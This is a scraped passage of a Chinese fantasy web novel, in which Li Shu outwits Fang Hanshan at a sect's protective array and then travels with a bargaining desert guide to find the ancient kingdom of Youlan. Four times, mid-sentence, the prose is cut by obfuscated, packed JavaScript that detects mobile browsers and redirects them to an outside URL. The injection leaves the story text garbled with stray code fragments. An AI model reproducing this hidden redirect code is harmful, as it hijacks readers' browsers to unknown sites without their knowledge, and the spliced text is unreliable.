“沙沙,沙沙。”微弱的呻Ⅰ吟几乎快被树丛晃动的声音盖住,直到不明物体拨开树丛钻了出来,呻Ⅰ吟才被听清:“好冷啊……好冷啊……” 李恕皱起眉头,这又是个什么? 来者是个人形,浑身不着片缕,五官和手脚都是模糊的,双臂紧紧抱着自己,一边小声喊着好冷一边走了过来。 李恕与暗河提起戒备,那个人形好像看不见他们,径直走到火符面前,身子一软栽了上去。 “啊——”惨叫响彻黑夜,人形被火符点燃,短短数息便被烧成一团烟气,没留下一丝痕迹。 暗河讶异:“他自杀了?” 李恕思忖道:“它大概本来就不是人,而是冻死在山里的人死前留下的执念,看到火光不受控制扑了上去。” “沙沙!沙沙!”不等暗河回答,树丛竟然又响了起来,声音比前两次都要急迫。 李恕揉揉眉心:“答应我,不管这次出来的是什么先给它一拳好吗?” 说时迟那时快,树丛骤分,一道人影飞了出来,暗河提剑欲刺,见那人脸颊两侧明光一闪,原来是耳上金环反射了火光。 放寒山?暗河手腕一转收回剑势,正想跟他打招呼,放寒山就被一道迎面而来的灵力打飞了出去。 “喂!”放寒山借力后退,稳稳停在一道横陈的树枝上,冲着还没收回手的李恕大喊:“是我!” 李恕毫无歉意:“我怎么知道你是真的假的?迷阵里的东西都不能信。” “我是本人,如假包换。”放寒山跳下树,取出镜子整理一番仪容,还好没有伤到他的脸,而且他有充足的理由怀疑李恕是故意的。 暗河问他:“你怎么找到我们的?幻幻呢?” 放寒山收回镜子,又是一派风度翩翩:“出来吧幻幻,有人关心你呢。至于我是怎么找到你们的……我可没有找你们,我只是刚好也要上山。” 幻幻从树丛中钻了出来,方才放寒山听见叫声先他一步赶来,他落了后,结果一来就听见放寒山在睁着眼睛说瞎话。 李恕没好气道:“别吹牛了,这山上有迷阵,你怎么可能上得去?” “话不能这么说,你做不到不代表别人也做不到。”放寒山绕着李恕转了一圈,口气颇为欠打,“李仙师该不会是迷路了吧?” 李恕挥出一拳,被放寒山合起扇子挡住:“干嘛,你要是实在想上山,我也可以跟你顺路。” “不需要。”李恕转头便走,将放寒山甩在身后,暗河见状赶紧跟上她。 “等等,放统领既然能找到我们,也许他真有解决迷阵的办法。” “有又如何?我说了我不需要。” 暗河哑口无言,李恕说过她不喜欢放寒山,没想到竟然严重到了这种地步。可是迷阵毕竟是迷阵,并不会因为某一个人的愤怒就让开道路,两人很快就又回到了原先歇脚的地方。 放寒山还等在那里,接管了李恕留下来的火符取暖,见他们回来,问道:“要一起吗?” 李恕眉眼冰冷,火光倒映在她眼中,好像把她的瞳孔也点燃了。没由来的,李恕抬手轰出一道灵力打在火符之上,顿时激得火星四溅。 放寒山闪身避开,李恕继续轰出灵力,打得石台四分五裂。与此同时,几人头顶上的夜空开始扭曲,发出微暗的光。 放寒山提醒她:“破坏山上的东西会被视为攻击护山大阵,引起法阵反击。” 李恕毫无理智:“我才不怕什么护山大阵,我今天就要强行破了它!” 从理论上来说,只要攻击足够强大,超出法阵的承受极限,确实能够强行摧毁法阵。但那毕竟只是理论,这可是堂堂赤霞派的护山大阵,当今世上根本没有几人能够做到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107639|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话间,护山大阵凝出的冰锥已经初具雏形,高悬在众人头顶,每一根都足有一丈长,散发出的寒气瞬间让周围的植物都凝出一层冰霜。 放寒山一时词穷,不管李恕是气糊涂了还是太过自信,当务之急都是赶紧拦住她,冰锥射下来的时候可不长眼睛,到时候大家都得变成刺猬。 “暗河兄你还等什么,再晚就来不及了!”放寒山叫上暗河,两人一起去抓李恕的手。 李恕对暗河只是闪躲,对放寒山却毫不留情,简直把他当护山大阵在打。 “喂!”放寒山有点招架不住,“你再这样我还手了,我没开玩笑,我真的还手了。” 放寒山展开折扇,轻轻一挥,灵力立刻被放大千百倍,化作劲风扑向李恕,吹得她倒飞出去,撞在树上呕出一口鲜血。 “李恕!”暗河心头一惊,慌忙去查看李恕的情况。放寒山同样吓了一跳,他、她应该没用那么大的力气吧? 李恕脸色惨白,一把推开暗河,强撑着走向放寒山:“我们再打……” 话没说完,李恕身子一软,放寒山眼疾手快将她接个满怀。 “好了好了,我认输了。”放寒山浑身僵硬,他长这么大还从来没抱过女人,尤其是李恕一直对他冷冰冰的,结果抱起来居然那么……柔软。 李恕的手无力地搭在放寒山肩上,闻言嘴角扯出一点弧度:“对,你输了。” 放寒山惊觉不对,然而为时已晚,他的身体动不了了——确切来说,是一股无形的力量压在他的背上,令他动弹不得。 “你做了什么?” 李恕从容起身,随手抹了一把嘴角的血,染得她唇如烈焰:“红浆果,吃过吗?” 放寒山背上的力量还在增加,压得他颈上绽出青筋,终于坚持不住半跪在地上。 李恕早就计划好了,先故意攻击护山大阵引诱放寒山对她出手,再假装受伤倒在放寒山怀里,趁他不备将千斤符贴在他背上。 暗河悄悄松了口气,还好李恕不是真的不顾安危,强行破阵。 幻幻呆愣愣地看着眼前情景,忍不住想:终于还是到了这一刻,李恕要抽放寒山了,他现在弃暗投明还来得及吗? 李恕没有给幻幻选择的机会,封了他的穴道,将他丢到放寒山面前,然后再次出手攻击护山大阵,凝结成型的冰锥立刻射了下来。 幻幻绝望地闭上眼睛,不过他并没有等到想象中被穿透的剧痛,噼里啪啦的碎冰声中,竟是李恕又把冰锥拦了下来。 幻幻提心吊胆:“她到底想不想让我们死?” 放寒山苦苦坚持,不让自己以不优雅的姿势趴在地上,艰难道:“她是要把赤霞派的人引来。” “对,我就是这么想的。”李恕抽空答了两人一句。这些冰锥虽然无孔不入,对她来说却再熟悉不过,因此不难应付。 放寒山暗恨自己着了李恕的道:“等他们来了我一定会指认你是同伙。” 李恕笑了一声,故意留下一根冰锥擦着放寒山的脸颊划过,气得放寒山大叫:“你好恶毒!” “多谢夸奖。” 约摸过了半炷香时间,一阵疾驰的脚步声由远及近,是赤霞派弟子来了。 李恕停下攻击,俯身盯住放寒山的眼睛。他的右眼明亮如星,左眼瞳仁微微晕开,在李恕的审视中轻轻眨了一下。 “再跟过来我就杀了你。”李恕敛去笑意,带着暗河消失在夜色中。 15. 向导 两人顺利下了山道,白日暂歇的小镇出现在眼前。 “你知道如何走出迷阵?” “是的。” 两人一问一答,都是十分平淡的语气。暗河没有继续追问,他失忆忘了很多事情,想必其中就包括这件。 李恕的计划很成功,她与暗河绕远路去幽兰古国,路上跋山涉水花了大半月的时间,放寒山再也没有出现。 只是到了传说中的幽兰古国地界后,两人没看见任何疑似古国的建筑,放眼望去只有莽莽黄沙滚滚烟尘,极其稀少的绿色点缀在上面,聊胜于无。 李恕抬手遮住刺眼的阳光,皱着眉头巡睃,幽兰古国恶名在外,倒不至于走错了路,看来要找到它还得费点功夫。 “再往前走走看吧。”李恕跳下大石,松软的沙地上留下两弯浅浅的印记,风一吹又消失了。 那点绿色看着远,走起来更远,加之日头毒辣,很快就晒得人口干舌燥。 暗河取出水囊递过去:“要歇歇吗?” 李恕仰头灌了两口,神情恹恹的:“不用了,到处都是太阳,根本没有歇脚的地方,还不如快点走到那片绿色。” 没走两步,日晒忽然被隔绝了,暗河展开宽大的袖子遮在李恕头上:“这样有好些吗?” 雪锦质地清凉,用来遮阳再合适不过,李恕拉拉他的袖子:“有是有,你要一直这样抬着胳膊?” “嗯。” “你不累吗?” “会累。”暗河如实回答,“我可以换另一条胳膊。” “真是太感动了。”送上门的服务不要白不要,李恕热烈地赞美暗河,顶着一片专属清凉继续赶路。看起来遥不可及的绿色,最后比她想象中要早到,原来绿色中还藏着一个村子。 “两位仙师好啊,你们要去幽兰古国吗?我可以为你们带路。”村口蹲了个皮肤黝黑的少年,头裹布巾,身穿白色长衫长裤,两只眼睛贼溜溜的。 暗河问道:“你怎么知道我们要去幽兰古国?” 少年咧开嘴角,一口牙齿白得反光:“像你们这样的人我见得多了,都是想去幽兰古国的。怎么样,要不要我当你们的向导?” 李恕开门见山:“开个价吧。” 少年嘿嘿笑了两声,竖起一根食指:“一百两。” “一百两银子,你带我们进入幽兰古国。” “不对,是一天一百两银子,而且我只带你们到城门口,我不进去。” “需要几天?” “我不确定,看你们运气好不好喽。” 这少年小小年纪就颇有奸商潜质,李恕转头就走,她不信没有第二个人能带路。 少年一点儿也不着急,依旧悠哉地蹲在村口,对着李恕的背影挥手:“我等你们回来呀。” 村子很小,住的人家也不多,村民们的打扮大差不差,都被炎热的天气蒸得懒洋洋的。暗河选了一户人家礼貌敲门,院里留着八字胡的男人循声看过来。 “叨扰阁下,我们想去幽兰古国,阁下可愿做个向导带我们过去,我愿重金酬谢。” 男人捻了捻胡须,上下打量两人:“行啊,一天二百两,虽然我不一定能找到路,但是你们照样要付钱。” “通往幽兰古国的路会发生变化?” “你要请我做向导吗?请我我才会回答问题。” 李恕当然不会请他做向导,他都说了不一定能找到路,请他有什么意义。 “我可以单独问问题吗?” 八字胡男人一副很好说话的样子:“也行,给我五十两我就告诉你们。” 李恕付了钱,男人两眼放光,仔细数了半天,又用牙挨个咬一遍,最后小心翼翼把钱收起来,表情无比满足。 “会。” 八字胡男人答的干脆利落,李恕等了片刻仍不见他有下文:“这就是你的回答?” 男人理直气壮:“你问我路会不会变,我说‘会’,这不是回答了你的问题吗?你想知道更多就继续花钱买我开口啊。” 李恕沉下眸子,八字胡男人立刻跳开一步,紧紧护住自己的钱:“你想作甚?给了我的钱就是我的,你休想再要回去!” 这人分明是在诡辩,即便他愿意做向导,后续也绝对不会老实。暗河轻声安抚李恕:“罢了,村子里还有其他人家,我们再去别处问问。” 隔壁院里是位正在喂鸡的大娘,十几只鸡肥嘟嘟的跑来跑去,暗河向她表明来意,大娘爽朗地笑起来:“没问题,我可以带你们过去,只收你们一百两。” 经历了前面两个人,暗河不得不多问一句:“一天一百两?找不到路也要付钱?” “什么话,我说了一百两就是总共一百两,找不到路我就不回家!” 这位大娘竟然如此坦荡,暗河喜出望外:“实在是太感谢了,我们现在就可以把钱付给你,你什么时候能带我们出发呢?” “等我处理好家里的事儿就行。”大娘指着院子里的东西一一介绍,“这是我养的鸡,总共十八只,一只收你五十两;这是我种的瓜地,今年大概能结一百只瓜,一只瓜收你二十两;这是我……” 暗河越听越头大,忍不住打断滔滔不绝的大娘:“我们是想请你带路,并不是要买东西,为何要给我们算这笔帐?” 大娘双手叉腰:“当然要算,我带你们去找幽兰古国,不知道要找到猴年马月,等我回来鸡早跑光了瓜早干死了,你们难道不该弥补我的损失?” 暗河按住眉心,突然觉得自己头有点痛,大娘还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113614|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自顾自算账:“我门口的树、院子里的井都要算在损失里面,哦对了,我屋里还有一个半身不遂的丈夫,等我回来他肯定就饿死了,也要算进去,不过他比较便宜,收你们二十两好了……” 暗河强忍头痛,试图跟大娘讲道理,李恕已经忍无可忍:“够了,我们走。” 这里根本没有一个正常人! 两人兜兜转转回到村口,少年一点儿也不意外:“现在愿意选我了吗?仙师。” 李恕扪心自问,她的脾气不算很好,但定力绝对不算太差,还是找到幽兰古国比较重要,没必要和一个小鬼置气。 “给你。”李恕付了钱。 少年掂掂钱袋:“少了。” “这就是一百两。” “我知道,但一百两是之前的价,现在涨了,一天二百两。” “……”李恕活动了一下手腕,怎么回事,今天怎么那么想抽人呢。 暗河拦住她,眼中全是无奈。算了,这个少年可能是村子里最正常的人了。 又付了一百两后,少年一跃而起,笑着介绍自己:“合作愉快,我叫小狼,两位仙师怎么称呼?” 李恕抱起双臂:“我叫小树。” 暗河道:“我叫……小河?” “好的没问题,小树仙师,小河仙师。” 小狼毫不在意李恕说的是真名假名,热情洋溢地把两人带进村子,推开他的小破屋:“仙师远道而来肯定累坏了吧,欢迎来我家歇脚。” 两人站在门口一动不动,不是因为嫌弃房子太破,而是—— 小狼呃了一声,挠挠脸颊:“进来吧,不收钱。” 两人这才抬脚,小狼的服务态度十分之好,搬了凳子,倒了水,又开始张罗晚饭。 “仙师不要着急,想去幽兰古国必须牢记三条守则,第一条便是‘不要白天出发’。白天出门酷热难捱,到了日头最毒的时候能把人活活烤成人干,又香又脆……” 小狼做饭十分随意,起锅烧水,水开了下菜,一把大勺在锅里搅来搅去:“至于另一点原因等到天黑你们就知道了,好了,来吃饭吧。” 锅里清汤寡水,各种菜叶块根上下浮沉,还有很多黄的紫的总之看不出品种的东西。 两人端坐不动,小狼盛了一碗出来:“快过来啊,不收钱的。” 李恕撇开目光:“这玩意儿倒贴钱我也不吃。” “它只是看起来不好吃,其实味道还可以的。”为了证明给李恕看,小狼率先喝了一大口,“咸甜适口,原滋原味……哕……回味悠长……哕……” 小狼放弃了:“好吧今天有点儿失手,但我家里只有这些。” 灶台旁边堆着一些萝卜土豆和当地特产,暗河起身:“我来做吧。” 16. 蜃影 李恕饶有兴趣:“你还会做饭呢?” 暗河也不是很确定,只是潜意识里觉得他应该会。“我以前有做过饭吗?” 李恕眨眨眼睛:“你没有给我做过。” “好吧,那我尽力试试。”暗河把萝卜土豆清洗干净,一个切片一个切丝,炒了两盘小菜,又用当地土特产煮了个汤,虽然没有一点儿荤腥,但至少看起来让人愿意尝尝。 小狼毫不见外,夹了一筷子菜送进口中:“哇,原来土豆是这种味道,我刚才也在锅里放了土豆,怎么吃起来跟呕吐物似的。” 李恕道:“别再提你那锅玩意儿。” 小狼赶紧点头,顺手又往嘴里塞了几口:“小河仙师有这手艺,我们嘴真是有福了。” 快乐地吃完了饭,小狼开始收拾东西,什么水、干粮都往包袱里塞,最后还塞进去两件大红大紫的纱衣,布料少得可怜,叮叮当当的饰品倒是挺多。 他还有这种癖好?李恕无法想象小狼穿上纱衣的样子,估计画面跟他煮的那锅东西一样辣眼。 “好啦,咱们走吧。”小狼神清气爽,走在前面带路,一行人原路出了村子,小狼伸手指向远方,“两位仙师请看。” 夜色沉沉,星月昏昏,村落更显寂寥,然而在那一望无际的黄沙上,不知何时悄然出现了一片建筑群。 “仙师看见了什么?” “幽兰古国。” 放眼望去,古国十二连城,灯火通明,依稀可见高墙上王旗猎猎,士兵手执长戟严阵以待,即便相隔甚远,也能感受到他们的肃杀之意。在这样荒凉破败的环境中,蓦地看见这样一座气势恢宏的古国,不可谓不震撼。 “对,也不对。”小狼早已见惯这般奇景,因此并不惊讶,“这是覆灭之前的幽兰古国,也就是说,我们看见的只是一片蜃影。许多来寻宝的人不明真相,一路追逐蜃影,最后把命也搭了进去。” 相传幽兰国王骁勇善战,训练了一批战无不胜的甲兵,大肆侵略周边国家,以战养战。 时间一长,实力弱些的国家都被幽兰古国吞并了,而那些尚未被吞并的国家,也全都俯首称臣,年年朝贡以求庇护。 在权力和杀戮的侵蚀下,幽兰国王越来越贪婪残暴,听不进任何人的劝谏,先是大肆搜刮稀世珍宝绝色美人,而后又横征暴敛,举国之力修建奢华无比的新城,终于到了天怒人怨的地步,被自己的臣民联合起来推翻了。 本以为幽兰国王带来的阴影会渐渐褪去,可是谁也没有想到,幽兰国王竟然死而复生,变得比之前还要残暴百倍,将背叛了自己的臣民全部屠杀殆尽,幽兰古国就此覆灭,消失在漫漫黄沙之中。 后人谈起此事,一致认为幽兰国王杀孽太重,受了怨魂诅咒,连带着幽兰古国也成了诅咒之地。 李恕对此有所耳闻。正是因为幽兰国王贪得无厌,想要将天下宝物都据为己有,天书才会落进他的手中,引得众人趋之若鹜,哪怕幽兰古国已经埋葬在历史长河中,也要想方设法把它再挖出来——李恕也是其中之一。 暗河并不喜欢这个故事,问小狼:“我们怎么找到真正的幽兰古国?” “只靠我们是找不到的,需要一些‘小伙伴’的帮助。”小狼嘴里叼了根脆生生的胡萝卜,边倒着走路边回答问题,“我们人类总是看见什么就相信什么,所以才会被蜃影误导。幽兰古国地下有一只巨大的蚁穴,无数水蚁聚集在那里,它们出来觅食,无论走得多远都不会迷失方向。所以只要我们跟着水蚁,就能找到通往幽兰古国的路。” 水蚁生性嗜甜,此地最甜的果子名为尼罗蜜,长在树上,每个约有婴儿拳头大小,咬一口甜到心里。 小狼带着两人走到尼罗蜜生长的地方,远远看去,树上的果子红润饱满,甚是诱人。 小狼嘎吱嘎吱嚼着胡萝卜,含糊不清道:“好了,你们去摘果子吧。” 李恕与暗河都没有动,小狼十分无语:“不收钱,你们放心吧我只收路费,其他东西都不会再收钱了,我们难道连这点信任都没有?” 暗河问道:“这棵树有主人吗?” “当然没有。”小狼拍着胸脯保证。 尼罗蜜沉甸甸地压在枝头,站在树下伸手就能够到,暗河抬脚欲走,李恕却拉住了他,对小狼道:“我们花钱买你的服务,难道不该你去摘吗?” “干嘛这么斤斤计较?” “你收钱的时候可没不是这样。” 小狼败下阵来,苦着脸道:“不是我服务不到位,而是我没本事摘啊,这树下有沙虫守着,我一踩上去就会惊动它们。” 暗河问道:“沙虫是什么?” 小狼把吃剩下的胡萝卜屁股扔到树下,口中数着一二三,不到第四个数,沙地忽然张“嘴”把胡萝卜吞了进去。 “那就是沙虫,他们在沙里活动自如,谁要是不小心踩上它们的地盘,马上就会被察觉,如果被咬住拖进沙里,那就连骨头渣都不会剩下了。” 尼罗蜜结得如此厚实,李恕觉得以村民的性格没道理不来采摘,这才多问了一句,果然其中暗藏危机。 “你让我们去摘之前怎么不说?” 小狼啊了一声,大为惊慌:“我没说吗?要死了,我怎么会犯这么低级的错误?两位仙师千万不要告诉别人,要是传出去我积累的好名声就全毁了,拜托拜托。” 李恕问他:“你肯定没少带人来摘尼罗蜜,怎么才能避开沙虫攻击?” “别让它们发现就行,仙师的修为应该很不错吧,你们能飞过去吗?然后轻轻地落到树上,轻轻地摘几颗尼罗蜜。” 暗河目测了一下距离:“好,我去摘,你们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117274|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里等我。” 小狼握拳为他加油,本想再说几句鼓励的话,结果眼前白影一闪,暗河已经落在了远处树梢上,小狼惊得合不拢嘴:“这么厉害?” 暗河脚下枝叶轻颤。仿佛只有一阵微风拂过,藏在沙里的怪物安安静静,没有任何反应。 暗河动作迅速,将几颗饱满的尼罗蜜收入袖中,施展轻功飞了回来。 “这些够吗?”暗河摊开手掌,尼罗蜜的芬芳随之弥漫开来。小狼笑嘻嘻地抓走一颗,随手在胸前擦了两下送入口中:“够了够了,还有多的咱们分着吃呢。” 暗河给李恕和小狼一人分了一颗,又往黄沙深处走了许久,小狼把尼罗蜜切成小块儿撒在沙地上,然后找了个地方蹲着。 “接下来只能等了,你们要是运气好的话,等个两三天应该就能等到,要是运气不好……我也没办法。”说完小狼舔舔指尖上沾的汁水,意犹未尽,“能不能再给我一个?” 李恕手中还有尼罗蜜,闻言轻轻抛了两下:“等到水蚁来了就给你,你要是运气好的话,等个两三天就能吃到。要是运气不好我也没办法。” 小狼:“……” 三人都不说话了,本就寂静的黑夜只剩下风声。李恕席地而坐,望向遥远的幽兰古国蜃影。她一身黑衣安静至极,若不是夜风一下一下吹动她的长发,有那么几个瞬间,暗河都要怀疑她是不是与夜色融为了一体。 “李恕。”没由来的,暗河叫了一声她的名字。 李恕转头:“何事?” “没事。”暗河把头转向另一个方向,避开了李恕的目光。 李恕先是莫名,而后又觉得好笑。这人怎么回事?她什么都没做,这人却自己把自己弄害羞了,真怀疑他的脸皮是不是比别人薄一些,不然怎么那么容易羞呢? 如此一来,李恕开始盯着暗河的侧脸看。虽然她不说话,但暗河能清楚地感觉到她在看自己,令他无论看哪里都不自在,最后只能学着李恕之前的样子看向蜃影。 忽然,暗河的眉头皱了起来——蜃影变了。 幽兰古国一片混乱,数不清的毒虫猛兽游走其间,张开血盆大口撕咬士兵。一道身披甲胄的高大身影站在古城最高处,手中利剑狠狠挥下,那是屠城的号令。 繁华消逝,杀戮开始,诅咒降临幽兰古国。 暗河面色凝重,哪怕蜃影呈现的是不知道多少年前的事情,他的耳边似乎仍能听见当时的惨叫。 一刻钟后蜃影变换,一队队反绑双手的人被赶进某座城内,而后大门关闭没了声息。 如果说方才的蜃影是死而复生的幽兰国王在屠杀“背叛”他的臣民,那现在的蜃影又是什么意思? 暗河询问小狼,小狼只是摇头:“我不知道,这些蜃影以前都没见过……啊!你们快看,水蚁出现了!” 17. 读心 月光洒在黄沙上,反射出点点银光,仿佛星河倒转,美不胜收。再仔细看,那些银光正在缓缓流动,原来是一群蚂蚁,身体琉璃一般剔透。 但那绝对不是琉璃,因为即使世界上最出色的能工巧匠,也比不过此刻大自然的造化。 在甜味的吸引下,水蚁将尼罗蜜团团围住,抬离地面沿着原路返回巢穴。小狼难以置信:“你们的运气也太好了吧,水蚁居然这么快就出现了。” 李恕站起身,把手中的尼罗蜜丢给小狼:“跟上。” 水蚁的移动速度很快,只不过跟人类比起来仍有一定差距,所以几人走的还算悠闲。小狼吃到了甜滋滋的果子,心情也跟着好了起来:“水蚁的体内几乎都是水哦,如果你们在沙漠里极度缺水,可以抓一把水蚁塞进口中解渴,味道还有点甜呢。” 这事听起来或许有些难以接受,但是对快要渴死的人来说,水蚁就像沙漠流出的一道泪痕,仁慈地宽恕了他们的罪过。 暗河放轻脚步,垂眸看着这些小小生灵,只觉得神奇无比。 小狼又道:“不知道这里距离幽兰古国还有多远,水蚁承受不了高温,到了白天它们会把自己埋进沙里避暑,我们要是没地方躲的话就惨了。” “会有办法的。” “什么办法?”小狼很好奇,可惜一连问了李恕好几遍都没得到回答,只好悻悻地住了口。深一脚浅一脚地走了两个时辰后,东方的天开始发亮,黑夜马上要过去了。 水蚁感觉敏锐,就地挖起沙子,等到太阳彻底升起来时,水蚁已经把自己深深埋到了地下。 李恕取出晶石轻轻一扭,一道约摸方圆三丈的露营阵随之展开,将几人笼罩其中,隔绝了外界酷热。 “哇这个随身阵真好用,多少钱?”小狼眼睛亮亮的,盯着李恕手中的晶石。 李恕不答反问:“你怎么知道这叫随身阵?” “我为什么不能知道?我给那么多人带了路,没吃过猪肉也见过猪跑好不好。” 李恕将晶石举到小狼眼前:“你想要吗?” “想啊,仙师要送给我吗?” “原价六百两,能抵你三天的酬劳,但我只卖你四百两,如何?” “仙师莫不是在诓我?”小狼半信半疑,他还没砍价,李恕就自己砍了二百两? “童叟无欺。”一个露营阵一百两,李恕不过翻了四倍而已,反正小狼既不是儿童,也不是老人。 纠结许久小狼还是把手收了回去:“算了,六百两对我来说太贵了,四百两又会让仙师吃亏,我不买了。” 他的想法很简单,买东西砍价时或许你会觉得自己赚了,但老板永远不会亏,李恕卖他四百两绝对有猫腻。再说就算他喜欢这个随身阵,以后自己去店里买就是了。 白天的等待十分无聊,即便在露营阵里不用经受日晒之苦,却也一步不得出,急得小狼抓耳挠腮。 “好无聊啊,你们不无聊吗?”小狼活鱼一样躺在沙上翻腾,拖长声音抱怨,“小树仙师小河仙师,你们谁来跟我说说话?” 李恕没有理他,暗河问道:“你想说什么?” 小狼就地滚到暗河身前:“什么都行,你们修士见多识广,一定知道很多有趣的事吧!” 暗河摇头:“抱歉,我失忆了。” “为什么会失忆?” “不记得了……” “一件也不记得?” “记得最近的事。” “也行,跟我说说吧。” 暗河便说了:“我们最近遇见了血魔、幻魔、假的夜魔。” 小狼双眼放光:“你们都是怎么解决的?” “都是小树仙师解决的。” 小狼眼里的光灭了:“那我干嘛跟你说话,我跟小树仙师说不就好了。” 暗河点头:“嗯。” 小狼浑然忘了方才是自己求着暗河跟他说话,蛄蛹到李恕面前坐起来:“仙师,你可不可以给我讲讲那些魔族的事?” 李恕单手托着下巴:“没什么好讲的,解决魔族很简单,只要……” 小狼的心被高高吊起,万分期待李恕接下来要说的话。 “只要比魔族强就行。” “就这?这不是跟没说一样吗?谁不知道这个道理。” 李恕歪了下头:“事实就是如此。” 小狼大失所望,觉得李恕多半对他心有芥蒂,存心捉弄。 李恕主动道:“这样吧,你要是实在无聊,我们可以玩个游戏。” “什么游戏,我可不跟你赌钱。” “游戏叫做‘读心’——随便你在沙上写一个数字,我都能知道你写的什么。” 小狼双眼圆睁,又好奇又紧张:“你能看穿我心里在想什么?” 李恕越过小狼看向暗河,暗河颇为意外,不知李恕还有这种能力。 “不信的话可以试试。” 小狼端正坐好,左手捂着右手,极为小心地在沙上写了个“伍”。 “写好了,你猜吧。” 李恕看着小狼,仿佛要从他的脸上看出什么。小狼也紧紧盯着李恕,他方才写得很小心,绝对没有露出字的边角,李恕肯定看不到。 “快点啊,你到底知不知道?”李恕久久沉默,小狼忍不住催促她。 李恕的眉头皱起又松开,最后才道:“你写的是,伍。” “你怎么知道?不对,你看见了!”小狼忽然反应过来,李恕虽然看不见字,却能看见他的书写动作,这种简单的字只靠动作也能猜出来。 “这样如何?”李恕闭上眼睛,明亮的日光中,她鬓边的细小绒毛,嘴角的浅浅笑意,以及右眼下方、一粒淡得快要看不清的小痣,都落入暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122633|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河眼中。 没由来的,暗河意识到一件事情。之前李恕与他说话,对他微笑,哪怕故意当着外人的面叫他相公,两人之间都不是真的亲密。唯有此刻李恕闭着眼睛,暗河才终于觉得好像可以伸手触碰她了。 想到这里,暗河又想转头,却有一股魔力阻止了他,没关系,李恕现在不会发现他在看她。 暗河慢慢松开手指,认真看着李恕。虽然他什么都不记得,但是想到李恕选择了他,他也会觉得……幸运。 她聪明,勇敢,强大,又藏着一点孩子气,是一个很好的人。 小狼神色紧绷,更加小心地写下数字,不让李恕有任何得知他动作的机会。 “我写完了。” 李恕闻声睁开眼睛看着小狼,又是一段不长不短的沉默,李恕轻轻开口:“肆。” 小狼心脏狂跳,李恕又猜对了! “你真的能知道我心中所想?不可能,不可能有这种事情。” 李恕并不反驳,小狼不信邪,又让李恕猜了几次,无一例外全猜对了,小狼终于被迫接受了这个事实。 眼看着小狼从活鱼变成死鱼躺在地上,暗河不禁有些哭笑不得,就算李恕真的能够读心,也不至于对他打击这么大吧。 小狼的颓废一直持续到晚上,水蚁很快就会钻出地面,他们也该收拾东西准备赶路了。 “那个……小树仙师,你为什么能读心啊?”小狼偷偷打量李恕的神色,鼓起勇气问她。 “你想知道?” “嗯嗯!” “很简单,小河仙师告诉我的。” “什么?”小狼愣在原地,随后才反应过来,写字的时候他一直防着身前的李恕,却没留意身后的暗河,所以根本不是李恕能够读心,而是暗河告诉了她答案。 小狼越想越气,凶巴巴地看着暗河:“她骗我也就算了,我没想到你竟然和她一起骗我!” “可是,我们本来就是一起的呀。”配合李恕玩小把戏让暗河有一种欺负小孩的错觉,不过他也没想到小狼竟然从头到尾都没怀疑他。 李恕哈哈大笑,歪到暗河身边:“没办法,长成你这样,就算你说太阳从西边出来,别人也要先怀疑一下自己。” 银色的星光又在沙上流动,小狼走在最前面生闷气,李恕与暗河跟在后面。 今晚的风要比昨晚大了很多,小狼裹紧袍子,只露出两只眼睛,不知道是不是他的错觉,他总觉得路变难走了,每走一步双脚都要陷进沙里,然后再费力地拔出来。 小狼搓搓胳膊,心头爬上不好的预感。沙漠里的事瞬息万变,谁也说不准下一秒会发生什么,比起生闷气,当然还是小命更重要。 “仙师……”小狼揉揉脸颊,调整到笑嘻嘻的模样,准备去找李恕两人,然而话刚出口,他忽然脚下一空,大半条腿都被吞进了沙里。 18. 美人 “救命!”小狼脸色大变,死死扣住沙地,他脚下的漩涡仍在扩大,马上就要吞到他的腰部,令他只能沙地上徒留几道抓痕。 这是……沙虫!小狼呼吸骤停,额头几乎要淌下冷汗。若是被沙虫吞进腹中,等待他的只有死无葬身之地,他可不想被吃干抹尽再拉出来啊!!! “救……”“噌!” 